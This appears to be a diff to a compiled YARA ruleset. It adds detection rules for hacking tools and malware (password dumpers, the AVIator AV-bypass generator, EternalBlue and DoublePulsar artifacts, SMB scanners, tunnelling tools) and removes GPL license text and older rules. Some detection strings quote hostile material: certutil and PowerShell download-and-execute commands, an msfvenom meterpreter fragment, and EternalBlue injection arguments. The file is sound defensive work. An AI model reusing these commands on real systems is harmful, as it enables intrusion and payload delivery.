+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_tools.yar#L197-L212"
+		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
+		logic_hash = "9b56ee4bac39b4220b24e92d00076650ffe84b71a60c0213a84fcf21c6cfe4cf"
+		score = 75
+		quality = 75
+		tags = "FILE"
 
-  In the following three paragraphs, a "patent license" is any express
-agreement or commitment, however denominated, not to enforce a patent
-(such as an express permission to practice a patent or covenant not to
-sue for patent infringement).  To "grant" such a patent license to a
-party means to make such an agreement or commitment not to enforce a
-patent against the party.
+	strings:
+		$s1 = "\\Release\\SniffPass.pdb" ascii
+		$s2 = "Password   Sniffer" fullword wide
+		$s3 = "Software\\NirSoft\\SniffPass" fullword ascii
+		$s4 = "Sniffed PasswordsCFailed to start" wide
+		$s5 = "Pwpcap.dll" fullword ascii
+		$s6 = "nmwifi.exe" fullword ascii
+		$s7 = "NmApi.dll" fullword ascii
+		$s8 = "npptools.dll" fullword ascii
 
-  If you convey a covered work, knowingly relying on a patent license,
-and the Corresponding Source of the work is not available for anyone
-to copy, free of charge and under the terms of this License, through a
-publicly available network server or other readily accessible means,
-then you must either (1) cause the Corresponding Source to be so
-available, or (2) arrange to deprive yourself of the benefit of the
-patent license for this particular work, or (3) arrange, in a manner
-consistent with the requirements of this License, to extend the patent
-license to downstream recipients.  "Knowingly relying" means you have
-actual knowledge that, but for the patent license, your conveying the
-covered work in a country, or your recipient's use of the covered work
-in a country, would infringe one or more identifiable patents in that
-country that you have reason to believe are valid.
+	condition:
+		uint16(0)==0x5a4d and 4 of them
+}
+import "pe"
 
-  If, pursuant to or in connection with a single transaction or
-arrangement, you convey, or propagate by procuring conveyance of, a
-covered work, and grant a patent license to some of the parties
-receiving the covered work authorizing them to use, propagate, modify
-or convey a specific copy of the covered work, then the patent license
-you grant is automatically extended to all recipients of the covered
-work and works based on it.
+rule DITEKSHEN_INDICATOR_TOOL_Avbypass_Aviator : FILE
+{
+	meta:
+		description = "Detects AVIator, which is a backdoor generator utility, which uses cryptographic and injection techniques in order to bypass AV detection. This was observed to bypass Win.Trojan.AZorult. This rule works for binaries and memory."
+		author = "ditekSHen"
+		id = "2bddd64e-baca-58cb-ba52-27487cc4ded5"
+		date = "2024-01-23"
+		modified = "2024-01-23"
+		reference = "https://github.com/ditekshen/detection"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_tools.yar#L214-L240"
+		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
+		logic_hash = "1fb497eec2b0cd4051b5ddd53463f1da511c0a7b72d54a0bc68736a99fdc6143"
+		score = 75
+		quality = 75
+		tags = "FILE"
 
-  A patent license is "discriminatory" if it does not include within
-the scope of its coverage, prohibits the exercise of, or is
-conditioned on the non-exercise of one or more of the rights that are
-specifically granted under this License.  You may not convey a covered
-work if you are a party to an arrangement with a third party that is
-in the business of distributing software, under which you make payment
-to the third party based on the extent of your activity of conveying
-the work, and under which the third party grants, to any of the
-parties who would receive the covered work from you, a discriminatory
-patent license (a) in connection with copies of the covered work
-conveyed by you (or copies made from those copies), or (b) primarily
-for and in connection with specific products or compilations that
-contain the covered work, unless you entered into that arrangement,
-or that patent license was granted, prior to 28 March 2007.
+	strings:
+		$s1 = "msfvenom -p windows/meterpreter" ascii wide
+		$s2 = "payloadBox.Text" ascii wide
+		$s3 = "APCInjectionCheckBox" ascii wide
+		$s4 = "Thread Hijacking (Shellcode Arch: x86, OS Arch: x86)" ascii wide
+		$s5 = "injectExistingApp.Text" ascii wide
+		$s6 = "Stable execution but can be traced by most AVs" ascii wide
+		$s7 = "AV/\\tor" ascii wide
+		$s8 = "AvIator.Properties.Resources" ascii wide
+		$s9 = "Select injection technique" ascii wide
+		$s10 = "threadHijacking_option" ascii wide
+		$pwsh1 = "Convert.ToByte(Payload_Encrypted_Without_delimiterChar[" ascii wide
+		$pwsh2 = "[DllImport(\"kernel32.dll\", SetLastError = true)]" ascii wide
+		$pwsh3 = "IntPtr RtlAdjustPrivilege(" ascii wide
+		$pwsh4 = /InjectShellcode\.(THREADENTRY32|CONTEXT64|WriteProcessMemory\(|CloseHandle\(|CONTEXT_FLAGS|CONTEXT\(\);|Thread32Next\()/ ascii wide
+		$pwsh5 = "= Payload_Encrypted.Split(',');" ascii wide
+		$pwsh6 = "namespace NativePayload_Reverse_tcp" ascii wide
+		$pwsh7 = "byte[] Finall_Payload = Decrypt(KEY, _X_to_Bytes);" ascii wide
+		$pwsh8 = /ConstantsAndExtCalls\.(WriteProcessMemory\(|CreateRemoteThread\()/ ascii wide
 
-  Nothing in this License shall be construed as excluding or limiting
-any implied license or other defenses to infringement that may
-otherwise be available to you under applicable patent law.
+	condition:
+		( uint16(0)==0x5a4d and (3 of ($s*) or 2 of ($pwsh*))) or (3 of ($s*) or 2 of ($pwsh*))
+}
+import "pe"
 
-  12. No Surrender of Others' Freedom.
+rule DITEKSHEN_INDICATOR_TOOL_PWS_Pwdump7 : FILE
+{
+	meta:
+		description = "Detects Pwdump7 password Dumper"
+		author = "ditekSHen"
+		id = "dc6ff544-b9de-547b-9fa8-7d0b32e9592d"
+		date = "2024-01-23"
+		modified = "2024-01-23"
+		reference = "https://github.com/ditekshen/detection"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_tools.yar#L242-L254"
+		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
+		logic_hash = "f84ab69ecc6837a826dc8726785165b8135edf51a47fb5bbaf19dc589b3032bd"
+		score = 75
+		quality = 75
+		tags = "FILE"
 
-  If conditions are imposed on you (whether by court order, agreement or
-otherwise) that contradict the conditions of this License, they do not
-excuse you from the conditions of this License.  If you cannot convey a
-covered work so as to satisfy simultaneously your obligations under this
-License and any other pertinent obligations, then as a consequence you may
-not convey it at all.  For example, if you agree to terms that obligate you
-to collect a royalty for further conveying from those to whom you convey
-the Program, the only way you could satisfy both those terms and this
-License would be to refrain entirely from conveying the Program.
+	strings:
+		$s1 = "savedump.dat" fullword ascii
+		$s2 = "Asd -_- _RegEnumKey fail!" fullword ascii
+		$s3 = "\\SAM\\" ascii
+		$s4 = "Unable to dump file %S" fullword ascii
+		$s5 = "NO PASSWORD" ascii
 
-  13. Use with the GNU Affero General Public License.
+	condition:
+		( uint16(0)==0x5a4d and 4 of them ) or ( all of them )
+}
+import "pe"
 
-  Notwithstanding any other provision of this License, you have
-permission to link or combine any covered work with a work licensed
-under version 3 of the GNU Affero General Public License into a single
-combined work, and to convey the resulting work.  The terms of this
-License will continue to apply to the part which is the covered work,
-but the special requirements of the GNU Affero General Public License,
-section 13, concerning interaction through a network will apply to the
-combination as such.
+rule DITEKSHEN_INDICATOR_TOOL_LTM_Sharpexec : FILE
+{
+	meta:
+		description = "Detects SharpExec lateral movement tool"
+		author = "ditekSHen"
+		id = "4373a052-9525-5b24-81a4-65cd68afcb6c"
+		date = "2024-01-23"
+		modified = "2024-01-23"
+		reference = "https://github.com/ditekshen/detection"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_tools.yar#L256-L275"
+		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
+		logic_hash = "17ae5c9f0b22e8ecbbbcbe052e466d00cb7b62cff423688b5138209c52f0698d"
+		score = 75
+		quality = 73
+		tags = "FILE"
 
-  14. Revised Versions of this License.
+	strings:
+		$s1 = "fileUploaded" fullword ascii
+		$s2 = "$7fbad126-e21c-4c4e-a9f0-613fcf585a71" fullword ascii
+		$s3 = "DESKTOP_HOOKCONTROL" fullword ascii
+		$s4 = /WINSTA_(ACCESSCLIPBOARD|WINSTA_ALL_ACCESS)/ fullword ascii
+		$s5 = /NETBIND(ADD|DISABLE|ENABLE|REMOVE)/ fullword ascii
+		$s6 = /SERVICE_(ALL_ACCESS|WIN32_OWN_PROCESS|INTERROGATE)/ fullword ascii
+		$s7 = /(Sharp|PS|smb)Exec/ fullword ascii
+		$s8 = "lpszPassword" fullword ascii
+		$s9 = "lpszDomain" fullword ascii
+		$s10 = "wmiexec" fullword ascii
+		$s11 = "\\C$\\__LegitFile" wide
+		$s12 = "LOGON32_LOGON_NEW_CREDENTIALS" fullword ascii
 
-  The Free Software Foundation may publish revised and/or new versions of
-the GNU General Public License from time to time.  Such new versions will
-be similar in spirit to the present version, but may differ in detail to
-address new problems or concerns.
+	condition:
+		( uint16(0)==0x5a4d and 9 of them ) or ( all of them )
+}
+import "pe"
 
-  Each version is given a distinguishing version number.  If the
-Program specifies that a certain numbered version of the GNU General
-Public License "or any later version" applies to it, you have the
-option of following the terms and conditions either of that numbered
-version or of any later version published by the Free Software
-Foundation.  If the Program does not specify a version number of the
-GNU General Public License, you may choose any version ever published
-by the Free Software Foundation.
+rule DITEKSHEN_INDICATOR_TOOL_PRV_Advancedrun : FILE
+{
+	meta:
+		description = "Detects NirSoft AdvancedRun privialge escalation tool"
+		author = "ditekSHen"
+		id = "c886951a-7ee9-5d38-a724-3dbba8c6ec31"
+		date = "2024-01-23"
+		modified = "2024-01-23"
+		reference = "https://github.com/ditekshen/detection"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_tools.yar#L277-L289"
+		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
+		logic_hash = "3f39e8f0629647f44a2f473d7b49a8b6adb1acd62de36420b80e7820e63854bb"
+		score = 75
+		quality = 75
+		tags = "FILE"
 
-  If the Program specifies that a proxy can decide which future
-versions of the GNU General Public License can be used, that proxy's
-public statement of acceptance of a version permanently authorizes you
-to choose that version for the Program.
+	strings:
+		$s1 = "RunAsProcessName" fullword wide
+		$s2 = "Process ID/Name:" fullword wide
+		$s3 = "swinsta.dll" fullword wide
+		$s4 = "User of the selected process0Child of selected process (Using code injection) Specified user name and password" fullword wide
+		$s5 = "\"Current User - Allow UAC Elevation$Current User - Without UAC Elevation#Administrator (Force UAC Elevation)" fullword wide
 
-  Later license versions may give you additional or different
-permissions.  However, no additional obligations are imposed on any
-author or copyright holder as a result of your choosing to follow a
-later version.
+	condition:
+		uint16(0)==0x5a4d and 3 of them
+}
+import "pe"
 
-  15. Disclaimer of Warranty.
+rule DITEKSHEN_INDICATOR_TOOL_PWS_Amady : FILE
+{
+	meta:
+		description = "Detects password stealer DLL. Dropped by Amadey"
+		author = "ditekSHen"
+		id = "6ee4e25b-bf38-5664-a08f-94e3fa92aa29"
+		date = "2024-01-23"
+		modified = "2024-01-23"
+		reference = "https://github.com/ditekshen/detection"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_tools.yar#L291-L306"
+		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
+		logic_hash = "409374bec5f58abeb7741b41f0fc7ea1c3fdc7bbc3f0c0628db0e3aac82836d1"
+		score = 75
+		quality = 75
+		tags = "FILE"
 
-  THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY
-APPLICABLE LAW.  EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT
-HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY
-OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO,
-THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
-PURPOSE.  THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM
-IS WITH YOU.  SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF
-ALL NECESSARY SERVICING, REPAIR OR CORRECTION.
+	strings:
+		$s1 = "Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Shell Folders\\AppData" fullword ascii
+		$s2 = "Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook" ascii
+		$s3 = "\\Mikrotik\\Winbox\\Addresses.cdb" fullword ascii
+		$s4 = "\\HostName" fullword ascii
+		$s5 = "\\Password" fullword ascii
+		$s6 = "SOFTWARE\\RealVNC\\" ascii
+		$s7 = "SOFTWARE\\TightVNC\\" ascii
+		$s8 = "cred.dll" fullword ascii
 
-  16. Limitation of Liability.
+	condition:
+		uint16(0)==0x5a4d and filesize <400KB and 7 of them
+}
+import "pe"
 
-  IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING
-WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS
-THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY
-GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE
-USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF
-DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD
-PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS),
-EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF
-SUCH DAMAGES.
+rule DITEKSHEN_INDICATOR_TOOL_SCR_Amady : FILE
+{
+	meta:
+		description = "Detects screenshot stealer DLL. Dropped by Amadey"
+		author = "ditekSHen"
+		id = "f7660899-ed12-5765-a856-6a1c7bbd8978"
+		date = "2024-01-23"
+		modified = "2024-01-23"
+		reference = "https://github.com/ditekshen/detection"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_tools.yar#L308-L320"
+		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
+		logic_hash = "9e7ab39976e3219f0c6c3ce5341442343cc4baf30757cd1c9d0c2d3845fdda2f"
+		score = 75
+		quality = 75
+		tags = "FILE"
 
-  17. Interpretation of Sections 15 and 16.
+	strings:
+		$s1 = "User-Agent: Uploador" fullword ascii
+		$s2 = "Content-Disposition: form-data; name=\"data\"; filename=\"" fullword ascii
+		$s3 = "WebUpload" fullword ascii
+		$s4 = "Cannot assign a %s to a %s%List does not allow duplicates ($0%x)%String" wide
+		$s5 = "scr.dll" fullword ascii
 
-  If the disclaimer of warranty and limitation of liability provided
-above cannot be given local legal effect according to their terms,
-reviewing courts shall apply local law that most closely approximates
-an absolute waiver of all civil liability in connection with the
-Program, unless a warranty or assumption of liability accompanies a
-copy of the Program in return for a fee.
+	condition:
+		uint16(0)==0x5a4d and filesize <700KB and 4 of them
+}
+import "pe"
 
-                     END OF TERMS AND CONDITIONS
+rule DITEKSHEN_INDICATOR_TOOL_EXP_Eternalblue : FILE
+{
+	meta:
+		description = "Detects Windows executables containing EternalBlue explitation artifacts"
+		author = "ditekSHen"
+		id = "08173a1e-2e32-5add-864a-d92ffa0a3e44"
+		date = "2024-01-23"
+		modified = "2024-01-23"
+		reference = "https://github.com/ditekshen/detection"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_tools.yar#L322-L342"
+		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
+		logic_hash = "63e56637118accb8c32c20e52465c027df2dbf83b3b663d316b453ce879572c8"
+		score = 75
+		quality = 75
+		tags = "FILE"
 
-            How to Apply These Terms to Your New Programs
+	strings:
+		$ci1 = "CNEFileIO_" ascii wide
+		$ci2 = "coli_" ascii wide
+		$ci3 = "mainWrapper" ascii wide
+		$dp1 = "EXPLOIT_SHELLCODE" ascii wide
+		$dp2 = "ETERNALBLUE_VALIDATE_BACKDOOR" ascii wide
+		$dp3 = "ETERNALBLUE_DOUBLEPULSAR_PRESENT" ascii wide
+		$dp4 = "//service[name='smb']/port" ascii wide
+		$dp5 = /DOUBLEPULSAR_(PROTOCOL_|ARCHITECTURE_|FUNCTION_|DLL_|PROCESS_|COMMAND_|IS_64_BIT)/
+		$cm1 = "--DllOrdinal 1 ProcessName lsass.exe --ProcessCommandLine --Protocol SMB --Architecture x64 --Function Rundll" ascii wide
+		$cm2 = "--DllOrdinal 1 ProcessName lsass.exe --ProcessCommandLine --Protocol SMB --Architecture x86 --Function Rundll" ascii wide
+		$cm3 = "--DaveProxyPort=0 --NetworkTimeout 30 --TargetPort 445 --VerifyTarget True --VerifyBackdoor True --MaxExploitAttempts 3 --GroomAllocations 12 --OutConfig" ascii wide
 
-  If you develop a new program, and you want it to be of the greatest
-possible use to the public, the best way to achieve this is to make it
-free software which everyone can redistribute and change under these terms.
+	condition:
+		uint16(0)==0x5a4d and (2 of ($ci*)) or (2 of ($dp*)) or (1 of ($dp*) and 1 of ($ci*)) or (1 of ($cm*))
+}
+import "pe"
 
-  To do so, attach the following notices to the program.  It is safest
-to attach them to the start of each source file to most effectively
-state the exclusion of warranty; and each file should have at least
-the "copyright" line and a pointer to where the full notice is found.
+rule DITEKSHEN_INDICATOR_TOOL_EXP_Weblogic : FILE
+{
+	meta:
+		description = "Detects Windows executables containing Weblogic exploits commands"
+		author = "ditekSHen"
+		id = "e761a968-35cb-5284-99f2-6d516ad348e3"
+		date = "2024-01-23"
+		modified = "2024-01-23"
+		reference = "https://github.com/ditekshen/detection"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_tools.yar#L344-L353"
+		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
+		logic_hash = "01855f1125b0ba87dd40f7d460440dbda2d75c8b484e842a2b2e20c089b4ab5e"
+		score = 75
+		quality = 75
+		tags = "FILE"
 
-    <one line to give the program's name and a brief idea of what it does.>
-    Copyright (C) <year>  <name of author>
+	strings:
+		$s1 = "certutil.exe -urlcache -split -f AAAAA BBBBB & cmd.exe /c BBBBB" ascii
+		$s2 = "powershell (new-object System.Net.WebClient).DownloadFile('AAAAA','BBBBB')" ascii
 
-    This program is free software: you can redistribute it and/or modify
-    it under the terms of the GNU General Public License as published by
-    the Free Software Foundation, either version 3 of the License, or
-    (at your option) any later version.
+	condition:
+		uint16(0)==0x5a4d and 1 of them
+}
+import "pe"
 
-    This program is distributed in the hope that it will be useful,
-    but WITHOUT ANY WARRANTY; without even the implied warranty of
-    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-    GNU General Public License for more details.
+rule DITEKSHEN_INDICATOR_TOOL_SCN_Smbtouch : FILE
+{
+	meta:
+		description = "Detects SMBTouch scanner EternalBlue, EternalChampion, EternalRomance, EternalSynergy"
+		author = "ditekSHen"
+		id = "4e8176dd-4113-5fa8-a695-77e7169f6975"
+		date = "2024-01-23"
+		modified = "2024-01-23"
+		reference = "https://github.com/ditekshen/detection"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_tools.yar#L376-L400"
+		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
+		logic_hash = "78c2a435762d3febe927eb15910d5a18c1ffe74604673463543d3c859f5ef8e9"
+		score = 75
+		quality = 75
+		tags = "FILE"
 
-    You should have received a copy of the GNU General Public License
-    along with this program.  If not, see <https://www.gnu.org/licenses/>.
+	strings:
+		$s1 = "[+] SMB Touch started" fullword ascii
+		$s2 = "[-] Could not connect to share (0x%08X - %s)" fullword ascii
+		$s3 = "[!] Target could be either SP%d or SP%d," fullword ascii
+		$s4 = "[!] for these SMB exploits they are equivalent" fullword ascii
+		$s5 = "[+] Target is vulnerable to %d exploit%s" fullword ascii
+		$s6 = "[+] Touch completed successfully" fullword ascii
+		$s7 = "Network error while determining exploitability" fullword ascii
+		$s8 = "Named pipe or share required for exploit" fullword ascii
+		$w1 = "UsingNbt" fullword ascii
+		$w2 = "TargetPort" fullword ascii
+		$w3 = "TargetIp" fullword ascii
+		$w4 = "RedirectedTargetPort" fullword ascii
+		$w5 = "RedirectedTargetIp" fullword ascii
+		$w6 = "NtlmHash" fullword ascii
+		$w7 = "\\PIPE\\LANMAN" fullword ascii
+		$w8 = "UserRejected: " fullword ascii
 
-Also add information on how to contact you by electronic and paper mail.
+	condition:
+		uint16(0)==0x5a4d and (2 of ($s*) or all of ($w*))
+}
+import "pe"
 
-  If the program does terminal interaction, make it output a short
-notice like this when it starts in an interactive mode:
+rule DITEKSHEN_INDICATOR_TOOL_SCN_Nbtscan : FILE
+{
+	meta:
+		description = "Detects NBTScan scanner for open NETBIOS nameservers on a local or remote TCP/IP network"
+		author = "ditekSHen"
+		id = "663c324e-4784-5efe-bbdf-60fa42e13944"
+		date = "2024-01-23"
+		modified = "2024-01-23"
+		reference = "https://github.com/ditekshen/detection"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_tools.yar#L402-L420"
+		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
+		logic_hash = "a81b95ad60aac4d66586ae7dc61f6bcbe2b7185b66b2bb895f45abff3ad3f430"
+		score = 75
+		quality = 75
+		tags = "FILE"
 
-    <program>  Copyright (C) <year>  <name of author>
-    This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'.
-    This is free software, and you are welcome to redistribute it
-    under certain conditions; type `show c' for details.
+	strings:
+		$s1 = "[%s] is an invalid target (bad IP/hostname)" fullword ascii
+		$s2 = "ERROR: no parse for %s -- %s" fullword ascii
+		$s3 = "add_target failed" fullword ascii
+		$s4 = "   -p <n>    bind to UDP Port <n> (default=%d)" fullword ascii
+		$s5 = "process_response.c" fullword ascii
+		$s6 = "currTarget != 0" fullword ascii
+		$s7 = "parse_target.c" fullword ascii
+		$s8 = "dump_packet.c" fullword ascii
+		$s9 = "parse_target_cb.c" fullword ascii
+		$s10 = "DUMP OF PACKET" fullword ascii
+		$s11 = "lookup_hostname.c" fullword ascii
 
-The hypothetical commands `show w' and `show c' should show the appropriate
-parts of the General Public License.  Of course, your program's commands
-might be different; for a GUI interface, you would use an "about box".
+	condition:
+		uint16(0)==0x5a4d and 10 of ($s*)
+}
+import "pe"
 
-  You should also get your employer (if you work as a programmer) or school,
-if any, to sign a "copyright disclaimer" for the program, if necessary.
-For more information on this, and how to apply and follow the GNU GPL, see
-<https://www.gnu.org/licenses/>.
+rule DITEKSHEN_INDICATOR_TOOL_ENC_Bestcrypt : FILE
+{
+	meta:
+		description = "Detects BestEncrypt commercial disk encryption and wiping software"
+		author = "ditekSHen"
+		id = "30c3c17c-c951-5b14-80ba-eec7b2195985"
+		date = "2024-01-23"
+		modified = "2024-01-23"
+		reference = "https://github.com/ditekshen/detection"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_tools.yar#L442-L453"
+		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
+		logic_hash = "77d338c6f3e4b733cb31eb1ae05e4ce8631812f7161bc70074a3fe1dee9df770"
+		score = 75
+		quality = 50
+		tags = "FILE"
 
-  The GNU General Public License does not permit incorporating your program
-into proprietary programs.  If your program is a subroutine library, you
-may consider it more useful to permit linking proprietary applications with
-the library.  If this is what you want to do, use the GNU Lesser General
-Public License instead of this License.  But first, please read
-<https://www.gnu.org/licenses/why-not-lgpl.html>.
+	strings:
+		$s1 = "BestCrypt Volume Encryption" wide
+		$s2 = "BCWipe for " wide
+		$s3 = "Software\\Jetico\\BestCrypt" wide
+		$s4 = "%c:\\EFI\\Jetico\\" fullword wide
 
- */
-rule CRAIU_Crashstrike : FILE
+	condition:
+		uint16(0)==0x5a4d and all of them
+}
+import "pe"
+
+rule DITEKSHEN_INDICATOR_TOOL_CNC_Earthworm : FILE
 {
 	meta:
-		description = "Crowdstrike C-00000???-*.sys files"
-		author = "Costin G. Raiu, Art of Noh, craiu@noh.ro"
-		id = "9a5168c4-0a7f-5269-bafa-728f123a04c5"
-		date = "2024-07-19"
-		modified = "2024-07-19"
-		reference = "https://en.wikipedia.org/wiki/July_2024_global_cyber_outages"
-		source_url = "https://github.com/craiu/yararules/blob/23cf0ca22021fa3684e180a18416b9ae1b695243/files/20240719_crashstrike.yara#L2-L26"
-		license_url = "https://github.com/craiu/yararules/blob/23cf0ca22021fa3684e180a18416b9ae1b695243/LICENSE"
-		hash = "9d001ef3206fe2f955095244e6103ad7f8f318c7c5cbd91a0dd1f33e4217fcb2"
-		logic_hash = "9a8dacf9d95042851073c40f5eab2a6aff61be3a576363ffcd8c21aaec7f0b96"
+		description = "Detects Earthworm C&C Windows/macOS tool"
+		author = "ditekSHen"
+		id = "4a6edcf3-b3c4-5620-8eac-102b1ce425f8"
+		date = "2024-01-23"
+		modified = "2024-01-23"
+		reference = "https://github.com/ditekshen/detection"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_tools.yar#L455-L471"
+		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
+		logic_hash = "5045faaaa9e60d4bd506240d51ff78dad4e89ccee0e824e7e5c309a8d3ae2883"
 		score = 75
-		quality = 85
+		quality = 50
 		tags = "FILE"
-		version = "1.0"
 
 	strings:
-		$a1 = "000E0A000E0GHijklMNOPqRSTUVwX"
-		$a2 = "AbCDEfghIjklMNoPqrstuV"
+		$s1 = "lcx_tran 0.0.0.0:%d <--[%4d usec]--> %s:%d" fullword ascii
+		$s2 = "ssocksd 0.0.0.0:%d <--[%4d usec]--> socks server" fullword ascii
+		$s3 = "rcsocks 0.0.0.0:%d <--[%4d usec]--> 0.0.0.0:%d" fullword ascii
+		$s4 = "rssocks %s:%d <--[%4d usec]--> socks server" fullword ascii
+		$s5 = "--> %3d <-- (close)used/unused  %d/%d" fullword ascii
+		$s6 = "<-- %3d --> (open)used/unused  %d/%d" fullword ascii
+		$s7 = "--> %d start server" ascii
+		$s8 = "Error on connect %s:%d [proto_init_cmd_rcsocket]" fullword ascii
+		$url = "http://rootkiter.com/EarthWrom/" nocase fullword ascii
 
 	condition:
-		( filesize <60KB) and ( uint32(0)==0xaaaaaaaa) and ( all of them )
+		( uint16(0)==0xfacf or uint16(0)==0x5a4d) and (5 of ($s*) or $url)
 }
-rule CRAIU_Crime_Lockbit3_Ransomware : FILE
+import "pe"
+
+rule DITEKSHEN_INDICATOR_TOOL_PWS_Keychaindumper : FILE
 {
 	meta:
-		description = "Generic LockBit detection, also catches the version used in attacks in Indonesia."
-		author = "Costin G. Raiu, TLPBLACK, craiu@noh.ro"
-		id = "167788a4-a610-5770-9f51-aa4cc4d3d350"
-		date = "2024-07-03"
-		modified = "2024-07-03"
-		reference = "https://www.bleepingcomputer.com/news/security/meet-brain-cipher-the-new-ransomware-behind-indonesia-data-center-attack/"
-		source_url = "https://github.com/craiu/yararules/blob/23cf0ca22021fa3684e180a18416b9ae1b695243/files/crime_lockbit3_ransomware.yara#L2-L32"
-		license_url = "https://github.com/craiu/yararules/blob/23cf0ca22021fa3684e180a18416b9ae1b695243/LICENSE"
-		hash = "eb82946fa0de261e92f8f60aa878c9fef9ebb34fdababa66995403b110118b12"
-		hash = "6e07da23603fbe5b26755df5b8fec19cadf1f7001b1558ea4f12e20271263417"
-		logic_hash = "84efb899315379d85a03959359f89fbcb97cbb6477f1ec439380a4d15fed4f53"
+		description = "Detects macOS certificate/password keychain dumping tool"
+		author = "ditekSHen"
+		id = "cec094fa-c651-58a6-a306-f16d8603e536"
+		date = "2024-01-23"
+		modified = "2024-01-23"
+		reference = "https://github.com/ditekshen/detection"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_tools.yar#L473-L484"
+		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
+		logic_hash = "f606bdd5dba2180ffc552c46373b52801a0bd65a538b381fb9f4240efc5bd458"
 		score = 75
-		quality = 85
+		quality = 71
 		tags = "FILE"
-		version = "1.1"
+		clamav_sig = "INDICATOR_Osx.Tool.PWS.KeychainDumper"
 
 	strings:
-		$a1 = {C3 8BFF53 51 6A0158 0FA2F7C1000000400F95C0 84C074090FC7F0 0FC7F2 59 5B C3 }
-		$a2 = {C3 6A0758 33C90FA2F7C3000004000F95C0 84C074090FC7F8 0FC7FA 59 5B C3 }
-		$a3 = {C3 0F31 8BC8 C1C90D 0F31 8BD0 C1C20D 8BC1 59 5B C3 }
-		$a4 = {55 8BEC 51 52 56 33C0 8B550C 8B7508 AC 33C9 B930000000 8D0C4D01000000 02F1 2AF1 33C9 B906000000 8D0C4D01000000 D3CA 03D0 90 85C0}
-		$a5 = {E9 ?? ?? ?? ?? 6683F841 720C 6683F846 7706 6683E837 EB26 6683F861 720C 6683F866 7706 6683E857 EB14 6683F830 720C 6683F839 7706 6683E830 EB}
-		$a6 = {5D 8BC3 5F 5E 5B 5D C20C00 90 55 8BEC 53 56 57 33C0 8B5D14 33C9 33D2 8B750C 8B7D08 85F6 }
